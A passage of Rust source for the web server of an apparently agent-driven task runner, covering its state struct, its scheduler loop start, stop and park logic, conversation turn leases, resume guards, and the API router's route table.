940    auto_failed_tag: Arc<Mutex<Option<String>>>,
941    upgrade_runner: UpgradeRunner,
942    /// Runs this process is resuming right now.
943    ///
944    /// Separate from `talk_turns` because a run and a talk are different
945    /// things to hold, and a resume is far more expensive to start twice: it
946    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
947    /// guards two taps and two phones, which is this process's own
948    /// concurrency.
949    resuming: Arc<Mutex<HashSet<String>>>,
950    /// The last scan of `[repos] roots`, and when it happened. Shared across
951    /// requests so polling `GET /api/repos` repeatedly does not repeat the
952    /// filesystem walk every time - see [`repos::Cache`].
953    repos_cache: repos::Cache,
954    /// The machine-config file the settings screen reads and writes: always
955    /// [`Config::machine_layer`], never anything a request names. A field so a
956    /// test can point it at its own temp directory instead of the operator's.
957    machine_config: Option<PathBuf>,
958    /// Merge mode override handed to the loop this process starts.
959    merge: Option<String>,
960    /// Local request revision and errors; execution belongs to detached workers.
961    looping: Arc<Mutex<LoopState>>,
962    /// Isolated route-test scheduler; never compiled into production.
963    #[cfg(test)]
964    launch: Launch,
965    /// A test-only stop point inside `talk_say`'s busy branch. See
966    /// [`BusyQueueGate`].
967    #[cfg(test)]
968    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
969    pub(crate) monitor: Arc<SharedMonitor>,
970}
971
972type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
973
974/// A one-shot stop point the busy branch's queued-draft write can be made to
975/// pause at, right before [`talk::queue`] runs.
976///
977/// Exists because a test cannot otherwise pin *when*, relative to the turn
978/// slot being freed, that write happens: `blocking` runs it on
979/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
980/// already finished, so counting polls on the handler future to park it at a
981/// particular `.await` is a guess about scheduling, not a fact about it - see
982/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
983/// used to do exactly that and paid for it with an occasional "async fn
984/// resumed after completion" panic under load.
985///
986/// `reached` fires the instant the write is about to run, so a test waits for
987/// a real event instead of a poll count. `release` then blocks the write
988/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
989/// rather than an async channel because this all happens inside the
990/// `spawn_blocking` closure the write already runs on, off any runtime
991/// worker, so blocking here costs nothing the write was not already going to
992/// cost.
993#[cfg(test)]
994struct BusyQueueGate {
995    reached: tokio::sync::oneshot::Sender<()>,
996    release: std::sync::mpsc::Receiver<()>,
997}
998
999#[cfg(test)]
1000impl std::fmt::Debug for BusyQueueGate {
1001    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
1002        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
1003    }
1004}
1005
1006impl Ui {
1007    /// A server over explicit paths.
1008    pub fn new(
1009        queue: Queue,
1010        questions: Questions,
1011        talks: Talks,
1012        runs: PathBuf,
1013        home: PathBuf,
1014        repo: PathBuf,
1015    ) -> Self {
1016        Self {
1017            queue,
1018            questions,
1019            notices: Notices::at(home.join("notifications")),
1020            talks,
1021            runs,
1022            references: Arc::default(),
1023            home,
1024            repo,
1025            // The default location, overridden by `with_worktrees_root` - a
1026            // builder step rather than a ninth parameter, for the reason
1027            // `with_merge` gives.
1028            worktrees_root: run::default_worktree_root(),
1029            talk_turns: Arc::default(),
1030            admissions: Arc::default(),
1031            upgrade_gate: Arc::default(),
1032            upgrade_spawned: Arc::default(),
1033            upgrade_request_error: Arc::default(),
1034            auto_failed_tag: Arc::default(),
1035            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
1036            resuming: Arc::default(),
1037            repos_cache: repos::Cache::new(),
1038            machine_config: Config::machine_layer(),
1039            merge: None,
1040            looping: Arc::default(),
1041            #[cfg(test)]
1042            launch: launch_daemon,
1043            #[cfg(test)]
1044            busy_queue_gate: Arc::default(),
1045            monitor: Arc::new(SharedMonitor::new()),
1046        }
1047    }
1048
1049    /// Refresh metadata on every lookup, including external-process writes. Only
1050    /// changed records are parsed. Never publish a partial scan as an empty set.
1051    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
1052        let mut index = self
1053            .monitor
1054            .queue_index
1055            .lock()
1056            .unwrap_or_else(PoisonError::into_inner);
1057        let entries = match std::fs::read_dir(self.queue.root()) {
1058            Ok(entries) => entries,
1059            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
1060                index.records.clear();
1061                return Ok(Vec::new());
1062            }
1063            Err(e) => return Err(anyhow::Error::from(e).into()),
1064        };
1065        let mut seen = HashSet::new();
1066        for entry in entries {
1067            let path = entry.map_err(anyhow::Error::from)?.path();
1068            if path.extension().is_none_or(|ext| ext != "json") {
1069                continue;
1070            }
1071            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
1072                continue;
1073            };
1074            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
1075            seen.insert(id.to_owned());
1076            // On platforms without inode/ctime, re-read rather than trust a
1077            // same-size replacement with a preserved modification timestamp.
1078            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
1079                let Ok(task) = self.queue.get(id) else {
1080                    // Isolate an unreadable record, as Queue::list does. Keep
1081                    // its last known relationship so a lookup of THAT task
1082                    // still fails on the authoritative read below. Never let
1083                    // unrelated corruption disable every run and conversation.
1084                    // Counts must not present its previous status as current.
1085                    if let Some((_, record)) = index.records.get_mut(id) {
1086                        Arc::make_mut(record).status = None;
1087                    }
1088                    continue;
1089                };
1090                #[cfg(test)]
1091                {
1092                    index.reparsed += 1;
1093                }
1094                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
1095                    return Err(ApiError::conflict("Queue changed during read; retry"));
1096                }
1097                index
1098                    .records
1099                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
1100            }
1101        }
1102        index.records.retain(|id, _| seen.contains(id));
1103        let mut tasks: Vec<_> = index
1104            .records
1105            .values()
1106            .map(|(_, task)| task.clone())
1107            .collect();
1108        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
1109        Ok(tasks)
1110    }
1111
1112    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
1113        let Some(record) = self
1114            .indexed_tasks()?
1115            .into_iter()
1116            .find(|task| task.runs.iter().any(|id| id == run_id))
1117        else {
1118            return Ok(None);
1119        };
1120        let task = self.queue.get(&record.id)?;
1121        if !task.runs.iter().any(|id| id == run_id) {
1122            return Err(ApiError::conflict("Task relationship changed; retry"));
1123        }
1124        Ok(Some(task))
1125    }
1126
1127    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1128        self.indexed_tasks()?
1129            .into_iter()
1130            .filter(|task| {
1131                task.chat.as_deref() == Some(talk_id)
1132                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1133            })
1134            .map(|record| {
1135                let task = self.queue.get(&record.id)?;
1136                if task.chat.as_deref() != Some(talk_id)
1137                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1138                {
1139                    return Err(ApiError::conflict("Task relationship changed; retry"));
1140                }
1141                Ok(task)
1142            })
1143            .collect()
1144    }
1145
1146    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1147    /// `<home>/talks`, `<home>/runs`.
1148    pub fn open(repo: PathBuf) -> Self {
1149        Self::new(
1150            Queue::open(),
1151            Questions::open(),
1152            Talks::open(),
1153            run::runs_root(),
1154            run::home(),
1155            repo,
1156        )
1157    }
1158
1159    /// The merge mode the loop should use, as the command line gave it.
1160    ///
1161    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1162    /// the override is a property of how this process was invoked and not of
1163    /// where its state lives - which is all the tests that build a `Ui` by
1164    /// hand are saying.
1165    #[must_use]
1166    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1167        self.merge = merge;
1168        self
1169    }
1170
1171    /// The machine-config file the settings screen writes, when it is not
1172    /// [`Config::machine_layer`] (tests).
1173    #[cfg(test)]
1174    #[must_use]
1175    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1176        self.machine_config = path;
1177        self
1178    }
1179
1180    /// Where the runs' worktrees live, when it is not the default.
1181    ///
1182    /// The health view sizes this directory, so a test that leaves it at the
1183    /// default would be measuring the operator's own machine.
1184    #[must_use]
1185    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1186        self.worktrees_root = root;
1187        self
1188    }
1189
1190    /// Point the loop at something other than [`launch_daemon`].
1191    ///
1192    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1193    /// this crate may start the real loop.
1194    #[cfg(test)]
1195    #[must_use]
1196    fn with_launch(mut self, launch: Launch) -> Self {
1197        self.launch = launch;
1198        self
1199    }
1200
1201    /// Install a [`BusyQueueGate`] for the next pass through the busy
1202    /// branch's queued-draft write, replacing any earlier one.
1203    ///
1204    /// A setter on `&self` rather than a `with_*` builder consumed once,
1205    /// because a test that drives the busy branch more than once (as
1206    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1207    /// to build confidence the interleaving is handled deterministically and
1208    /// not just on a lucky run) needs a fresh channel pair each time, on the
1209    /// one `Ui` it already built its temp directories around.
1210    #[cfg(test)]
1211    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1212        *self
1213            .busy_queue_gate
1214            .lock()
1215            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1216    }
1217
1218    /// Prevent a restart from ending an already accepted send between its
1219    /// durable transcript write and detached worker reservation.
1220    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1221        let guard = Arc::clone(&self.admissions)
1222            .try_read_owned()
1223            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1224        if *guard {
1225            return Err(ApiError::conflict(
1226                "web restart in progress; retry this message",
1227            ));
1228        }
1229        Ok(guard)
1230    }
1231
1232    /// Start a scheduler that outlives this web process.
1233    async fn start_detached_loop(&self) -> ApiResult<()> {
1234        if self
1235            .upgrade_spawned
1236            .load(std::sync::atomic::Ordering::SeqCst)
1237        {
1238            return Err(ApiError::conflict("an upgrade is in progress"));
1239        }
1240        let reading = daemon::read_status(&self.home);
1241        if let Some(other) = Foreign::of(reading.as_ref()) {
1242            return Err(ApiError::conflict(format!(
1243                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1244                other.who()
1245            )));
1246        }
1247        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1248        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1249        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1250            || reading.is_some_and(|reading| {
1251                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1252            });
1253        if control.is_some() && scheduler_running {
1254            return Err(ApiError::conflict(
1255                "the scheduler is still stopping; retry Start after it has stopped",
1256            ));
1257        }
1258        if !jobs.iter().any(|job| job.kind == "scheduler") {
1259            let available =
1260                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1261            if available.is_none() {
1262                return Err(ApiError::conflict(
1263                    "the scheduler is still running or stopping; retry after its transition completes",
1264                ));
1265            }
1266            drop(available);
1267        }
1268        let opts = daemon::Opts {
1269            repo: self.repo.clone(),
1270            merge: self.merge.clone(),
1271            worktrees_root: Some(self.worktrees_root.clone()),
1272            ..daemon::Opts::default()
1273        };
1274        daemon::spawn_detached(&self.home, &opts)
1275            .await
1276            .map_err(ApiError::from)?;
1277        let mut state = self.lock_loop();
1278        state.last_error = None;
1279        state.rev += 1;
1280        Ok(())
1281    }
1282
1283    /// Start the loop in this process, or say who already has one.
1284    ///
1285    /// `foreign` is passed in rather than read here so that one request makes
1286    /// one judgement about who owns the loop: reading the status file again
1287    /// inside this function could refuse a start for a daemon the same
1288    /// response then reports as gone.
1289    #[cfg(test)]
1290    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1291        if let Some(other) = foreign {
1292            return Err(ApiError::conflict(format!(
1293                "{} is already running the loop, so this one will not start a \
1294                 second: two loops on one queue race for the same claims and \
1295                 burn the agent quota twice over. Stop it where it was \
1296                 started.",
1297                other.who()
1298            )));
1299        }
1300        let mut state = self.lock_loop();
1301        if self
1302            .upgrade_spawned
1303            .load(std::sync::atomic::Ordering::SeqCst)
1304        {
1305            return Err(ApiError::conflict("an upgrade is in progress"));
1306        }
1307        if state.live.as_ref().is_some_and(Live::alive) {
1308            return Err(ApiError::conflict(format!(
1309                "this magi web process (pid {}) is already running the loop",
1310                std::process::id()
1311            )));
1312        }
1313
1314        let stop = daemon::Stop::new();
1315        // The CLI's own defaults for everything the UI has no opinion about:
1316        // one poll interval and one retry budget, so a loop started from a
1317        // phone behaves exactly like the `magi serve` it replaces.
1318        let opts = daemon::Opts {
1319            repo: self.repo.clone(),
1320            merge: self.merge.clone(),
1321            // Whatever this `Ui` already reports worktree sizes and folds
1322            // against (see `with_worktrees_root`) is what the loop it starts
1323            // must reclaim orphaned worktrees under too - two different
1324            // opinions about where the worktree bay is would leave the
1325            // janitor pass reclaiming a directory nothing else on this
1326            // process is even looking at.
1327            worktrees_root: Some(self.worktrees_root.clone()),
1328            ..daemon::Opts::default()
1329        };
1330        let launch = self.launch;
1331        let looping = Arc::clone(&self.looping);
1332        let handle = tokio::spawn({
1333            let opts = opts.clone();
1334            let stop = stop.clone();
1335            async move {
1336                let failure = match launch(opts, stop).await {
1337                    Ok(()) => None,
1338                    Err(e) => Some(format!("{e:#}")),
1339                };
1340                match &failure {
1341                    Some(why) => tracing::error!("the loop stopped: {why}"),
1342                    None => tracing::info!("the loop stopped"),
1343                }
1344                // Recorded by the task itself rather than reaped by whichever
1345                // request happens next, so `loop_rev` moves the moment the
1346                // loop ends and a phone with the change stream open learns
1347                // that it did. Clearing `live` drops this task's own handle,
1348                // which only detaches it, and is the last thing it does.
1349                let mut state = lock_or_recover(&looping);
1350                state.live = None;
1351                state.last_error = failure;
1352                state.rev += 1;
1353            }
1354        });
1355        tracing::info!(
1356            "the loop is now running in this process: repo {}, merge {}",
1357            opts.repo.display(),
1358            opts.merge.as_deref().unwrap_or("as the config says")
1359        );
1360        state.live = Some(Live { stop, handle, opts });
1361        // A fresh start is not the place to keep showing why the last one
1362        // died; the operator has read it and pressed the button anyway.
1363        state.last_error = None;
1364        state.rev += 1;
1365        Ok(())
1366    }
1367
1368    /// Ask the loop to stop, without waiting for it to get there.
1369    ///
1370    /// Idempotent: a second tap on stop is not an error, because the first one
1371    /// leaves the loop running for as long as the run in flight takes and the
1372    /// operator has no way to tell a slow stop from a lost one.
1373    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1374        if let Some(other) = foreign {
1375            return Err(ApiError::conflict(format!(
1376                "the loop belongs to {}, and this process cannot stop it - \
1377                 stop it where it was started. A button that silently did \
1378                 nothing would be worse than this refusal.",
1379                other.who()
1380            )));
1381        }
1382        #[cfg(not(test))]
1383        {
1384            daemon::request_control(
1385                &self.home,
1386                if park {
1387                    crate::worker::Control::Park
1388                } else {
1389                    crate::worker::Control::Stop
1390                },
1391            )
1392            .map_err(ApiError::from)?;
1393            self.lock_loop().rev += 1;
1394            Ok(())
1395        }
1396        #[cfg(test)]
1397        {
1398            let mut state = self.lock_loop();
1399            let Some(live) = state.live.as_ref() else {
1400                return Ok(());
1401            };
1402            // A park upgrades a stop that has already been asked for: the
1403            // operator who tapped "stop" and then realised the run has an hour
1404            // left must not have to restart the loop to change their mind.
1405            if live.stop.stopped() && (!park || live.stop.parking()) {
1406                return Ok(());
1407            }
1408            if park {
1409                live.stop.park(crate::run::ParkCause::Operator);
1410                tracing::info!(
1411                    "the loop was asked to park; the run stops at its next node boundary"
1412                );
1413            } else {
1414                live.stop.stop();
1415                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1416            }
1417            state.rev += 1;
1418            Ok(())
1419        }
1420    }
1421
1422    /// The loop as both `/api/loop` and `/api/health` report it.
1423    ///
1424    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1425    /// health answers with this view *and* the daemon object beside it: one
1426    /// read per response is what stops a single answer naming a foreign owner
1427    /// in one field and calling the loop free in the other.
1428    #[cfg(not(test))]
1429    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1430        let jobs = crate::worker::active(&self.home).map_err(|error| {
1431            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1432        })?;
1433        Ok(self.runtime_loop_view(reading, &jobs))
1434    }
1435
1436    #[cfg(test)]
1437    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1438        let state = self.lock_loop();
1439        // A loop that panicked never recorded its own end, so the handle -
1440        // not the presence of the record - is what "running" means.
1441        let live = state.live.as_ref().filter(|live| live.alive());
1442        LoopView {
1443            running: live.is_some(),
1444            stopping: live.is_some_and(|live| live.stop.finishing()),
1445            parking: live.is_some_and(|live| live.stop.parking()),
1446            owned: live.is_some(),
1447            repo: live
1448                .map_or(&self.repo, |live| &live.opts.repo)
1449                .display()
1450                .to_string(),
1451            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1452            last_error: state.last_error.clone(),
1453            daemon: DaemonView::of(reading),
1454        }
1455    }
1456
1457    /// Reuse one active-job snapshot for both ownership and public health.
1458    fn runtime_loop_view(
1459        &self,
1460        reading: Option<daemon::Reading>,
1461        jobs: &[crate::worker::Job],
1462    ) -> LoopView {
1463        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1464        let reporting = reading
1465            .as_ref()
1466            .is_some_and(|r| r.running(Timestamp::now()));
1467        let managed = scheduler.is_some()
1468            || (reporting
1469                && reading
1470                    .as_ref()
1471                    .is_some_and(|r| r.worker_protocol == Some(1)));
1472        let control = crate::worker::control(&self.home, "scheduler")
1473            .ok()
1474            .flatten();
1475        // Foreground serve also persists its options, so ownership never
1476        // causes us to substitute the web process's repository for its own.
1477        let persisted = if managed && scheduler.is_none() {
1478            std::fs::read(self.home.join("scheduler-options.json"))
1479                .ok()
1480                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1481        } else {
1482            None
1483        };
1484        let repo = scheduler
1485            .and_then(|job| job.payload.get("repo"))
1486            .and_then(serde_json::Value::as_str)
1487            .map(str::to_owned)
1488            .or_else(|| {
1489                persisted
1490                    .as_ref()
1491                    .map(|opts| opts.repo.display().to_string())
1492            })
1493            .unwrap_or_else(|| self.repo.display().to_string());
1494        let merge = match scheduler {
1495            Some(job) => job
1496                .payload
1497                .get("merge")
1498                .and_then(serde_json::Value::as_str)
1499                .map(str::to_owned),
1500            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1501        };
1502        LoopView {
1503            running: managed || reporting,
1504            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1505            parking: matches!(control, Some(crate::worker::Control::Park))
1506                && jobs.iter().any(|job| job.kind == "task"),
1507            owned: managed,
1508            repo,
1509            merge,
1510            last_error: self.lock_loop().last_error.clone(),
1511            daemon: DaemonView::of(reading),
1512        }
1513    }
1514
1515    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1516    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1517        lock_or_recover(&self.looping)
1518    }
1519
1520    /// In-flight admission, detached startup, or a cross-process turn lease -
1521    /// unless the lease belongs to an idle resident omp session.
1522    fn is_thinking(&self, id: &str) -> bool {
1523        (self
1524            .talk_turns
1525            .lock()
1526            .is_ok_and(|turns| turns.live.contains(id))
1527            // Another process (the CLI) can hold the turn through the
1528            // on-disk lease.
1529            || self.talks.turn_held(id)
1530            || crate::chat_worker::turn_worker_active(&self.talks, id))
1531            && !talk::resident_idle(&self.talks, id)
1532    }
1533
1534    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1535    /// 送信などの判断には [`Ui::is_thinking`] を使う。
1536    fn is_thinking_observed(&self, id: &str) -> bool {
1537        (self.talk_turns.try_lock().map_or_else(
1538            // Admission may itself be waiting on the worker store. Display a
1539            // conservative busy state rather than waiting behind that writer.
1540            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1541            |turns| turns.live.contains(id),
1542        )
1543            // Another process (the CLI) can hold the turn through the
1544            // on-disk lease.
1545            || self.talks.turn_held(id)
1546            || crate::consult::turn_worker_observed(&self.talks, id))
1547            && !talk::resident_idle(&self.talks, id)
1548    }
1549
1550    /// Settings that need the turn lease first ask an idle resident omp
1551    /// session to leave, and wait briefly for it to let go.
1552    async fn leave_resident(&self, id: &str) {
1553        if !talk::resident_idle(&self.talks, id) {
1554            return;
1555        }
1556        let (live, stop) = (
1557            talk::live_path(&self.talks, id),
1558            talk::live_stop_path(&self.talks, id),
1559        );
1560        if !crate::omp_rpc::request_leave(&live, &stop).unwrap_or(false) {
1561            return;
1562        }
1563        for _ in 0..60 {
1564            if !self.talks.turn_held(id) {
1565                return;
1566            }
1567            tokio::time::sleep(Duration::from_millis(250)).await;
1568        }
1569    }
1570
1571    /// Claim the right to run one turn in a talk, or report that it is busy.
1572    ///
1573    /// A talk is strictly turn-based: the agent is resumed with the
1574    /// conversation it already has, so two turns running at once would resume
1575    /// the same session twice and append their answers in whatever order the
1576    /// two CLIs finished in. The operator would come back to a transcript
1577    /// with two half-turns interleaved, which is unreadable and, worse,
1578    /// unfixable - there is no undo for a persisted turn.
1579    ///
1580    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1581    /// starting a second CLI invocation for the same session.
1582    ///
1583    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1584    /// taken to test-and-insert and released before the agent is spawned. The
1585    /// returned guard removes the id on drop, which is what makes a panicking
1586    /// handler or a phone that walks out of range leave the talk usable - axum
1587    /// drops the handler future when the client disconnects, and without the
1588    /// guard that talk would be wedged until the server restarted.
1589    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1590        self.claim_talk_turn(id, false)
1591    }
1592
1593    /// Claim a turn after durably queueing a draft, or notify its current
1594    /// owner that a drainer must recheck before it releases the slot.
1595    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1596        self.claim_talk_turn(id, true)
1597    }
1598
1599    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1600        let mut live = self
1601            .talk_turns
1602            .lock()
1603            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1604        if crate::chat_worker::turn_worker_active(&self.talks, id) {
1605            if queued {
1606                *live.queued.entry(id.to_owned()).or_default() += 1;
1607            }
1608            return Ok(None);
1609        }
1610        let inserted = live.live.insert(id.to_owned());
1611        // The on-disk lease is the cross-process half of the gate. Taken
1612        // second, and undone if lost, so `live` never claims a turn the lease
1613        // refused.
1614        let lease = if inserted {
1615            match self.talks.claim_turn(id) {
1616                Ok(Some(lease)) => Some(lease),
1617                Ok(None) => {
1618                    live.live.remove(id);
1619                    None
1620                }
1621                Err(e) => {
1622                    live.live.remove(id);
1623                    return Err(ApiError::from(e));
1624                }
1625            }
1626        } else {
1627            None
1628        };
1629        if lease.is_none() {
1630            if queued {
1631                // A queued write has landed before this busy check.
1632                // `drain_loop` uses this generation to recheck after its
1633                // off-thread disk read, so it cannot release a turn between
1634                // this check and the write.
1635                *live.queued.entry(id.to_owned()).or_default() += 1;
1636            }
1637            return Ok(None);
1638        }
1639        Ok(Some(TalkTurnGuard {
1640            talk: id.to_owned(),
1641            turns: Arc::clone(&self.talk_turns),
1642            released: false,
1643            lease,
1644        }))
1645    }
1646
1647    /// Decide whether a free talk may start a new immediate turn while its
1648    /// claim lock is held. A persisted draft without an owner is recovery
1649    /// state, not a busy turn: two simultaneous `/say` requests must both
1650    /// leave it untouched rather than one of them appending to it.
1651    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1652        let mut live = self
1653            .talk_turns
1654            .lock()
1655            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1656        // A detached worker owns its turn across web process replacement.
1657        if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1658            return Ok(TalkTurnStart::Busy);
1659        }
1660        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1661            return Ok(TalkTurnStart::Foreign);
1662        };
1663        // A refused `Pending` below drops the lease again.
1664        let talk = self.talks.get(id).map_err(ApiError::from)?;
1665        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1666            return Ok(TalkTurnStart::Pending);
1667        }
1668        live.live.insert(id.to_owned());
1669        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1670            talk: id.to_owned(),
1671            turns: Arc::clone(&self.talk_turns),
1672            released: false,
1673            lease: Some(lease),
1674        }))
1675    }
1676
1677    fn queued_generation(&self, id: &str) -> u64 {
1678        let live = self
1679            .talk_turns
1680            .lock()
1681            .unwrap_or_else(PoisonError::into_inner);
1682        live.queued.get(id).copied().unwrap_or(0)
1683    }
1684
1685    /// Claim a run for a resume, on the same reasoning as
1686    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1687    /// disconnected phone does not wedge the run until the server restarts.
1688    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1689        let mut live = self
1690            .resuming
1691            .lock()
1692            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1693        if self
1694            .upgrade_spawned
1695            .load(std::sync::atomic::Ordering::SeqCst)
1696        {
1697            return Err(ApiError::conflict("an upgrade is in progress"));
1698        }
1699        if !live.insert(id.to_owned()) {
1700            return Err(ApiError::conflict(format!(
1701                "run {id} is already being resumed"
1702            )));
1703        }
1704        Ok(ResumeGuard {
1705            run: id.to_owned(),
1706            resuming: Arc::clone(&self.resuming),
1707        })
1708    }
1709
1710    /// The router, with this state baked in.
1711    ///
1712    /// The three front-end files get one explicit route each rather than a
1713    /// path parameter, so there is no traversal surface to get wrong: the set
1714    /// of servable paths is the set written here. The asset route below is the
1715    /// one exception and the only place in this server where a client names a
1716    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1717    pub fn router(self) -> Router {
1718        Arc::new(self).shared_router()
1719    }
1720
1721    fn shared_router(self: Arc<Self>) -> Router {
1722        Router::new()
1723            .route("/", get(index))
1724            .route("/app.css", get(app_css))
1725            .route("/app.js", get(app_js))
1726            .route("/api/health", get(health))
1727            .route("/api/references", post(id_links::resolve_text))
1728            .route("/api/loop", get(loop_get).post(loop_post))
1729            .route("/api/upgrade", post(upgrade_post))
1730            .route("/api/runs", get(runs_list))
1731            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1732            .route("/api/runs/{id}/progress", get(run_progress))
1733            .route("/api/runs/{id}/core", get(run_core))
1734            .route("/api/runs/{id}/report", get(run_report))
1735            .route("/api/runs/{id}/report.json", get(run_report_json))
1736            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1737            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1738            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1739            .route("/api/runs/{id}/fold", post(run_fold))
1740            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1741            .route("/api/runs/{id}/resume", post(run_resume))
1742            .route("/api/queue", get(queue_list))
1743            .route("/api/queue/page", get(queue_page))
1744            .route("/api/dependencies", get(dependencies::dependencies_get))
1745            .route("/api/search", get(search_get))
1746            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1747            .route("/api/queue/{id}/core", get(task_core))
1748            .route("/api/stats", get(stats_get))
1749            .route("/api/stats/queue", get(stats_queue))
1750            .route("/api/repos", get(repos_list))
1751            .route("/api/settings", get(settings_get))
1752            .route("/api/settings/roles", put(settings_put_roles))
1753            .route("/api/queue/{id}/hold", post(queue_hold))
1754            .route("/api/queue/{id}/reassign", post(queue_reassign))
1755            .route("/api/queue/{id}/release", post(queue_release))
1756            .route("/api/queue/{id}/priority", post(queue_priority))
1757            .route("/api/queue/{id}/urgent", post(queue_urgent))
1758            .route("/api/queue/{id}/immediate", post(queue_immediate))
1759            .route("/api/queue/{id}/implementers", post(queue_implementers))
1760            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1761            .route("/api/queue/{id}/edit", post(queue_edit))
1762            .route("/api/queue/{id}/done", post(queue_done))
1763            .route("/api/queue/{id}/reopen", post(queue_reopen))
1764            .route("/api/decisions", get(decisions_list))
1765            .route("/api/decisions/{id}", get(decision_get))
1766            .route("/api/questions", get(questions_list))
1767            .route("/api/questions/core", get(questions_core))
1768            .route("/api/questions/origins", get(question_origins))
1769            .route("/api/questions/{id}/answer", post(question_answer))
1770            .route("/api/questions/{id}/say", post(question_say))
1771            .route("/api/questions/{id}/consult", post(question_consult))
1772            .route("/api/questions/{id}/panel", get(question_panel))
1773            // The same asset, reachable from inside the panel by its bare
1774            // filename. A document served at `.../panel` resolves `shot.png`
1775            // to `.../shot.png`, which is not the asset route, so a panel
1776            // written the way its author was told to write it showed broken
1777            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1778            // it - deliberately - so the fix is that the panel's own URL ends
1779            // in a filename and its siblings are the assets.
1780            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1781            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1782            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1783            .route("/api/notifications", get(notifications_list))
1784            .route("/api/notifications/read-all", post(notifications_read_all))
1785            .route("/api/notifications/{id}/read", post(notification_read))
1786            .route(
1787                "/api/notifications/{id}/dismiss",
1788                post(notification_dismiss),
1789            )
1790            .route("/api/talks", get(talks_list).post(talk_post))
1791            .route("/api/talks/page", get(talks_page))
1792            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1793            .route("/api/talks/{id}/core", get(talk_core))
1794            .route("/api/talks/{id}/sections", get(talk_sections))
1795            .route("/api/talks/{id}/say", post(talk_say))
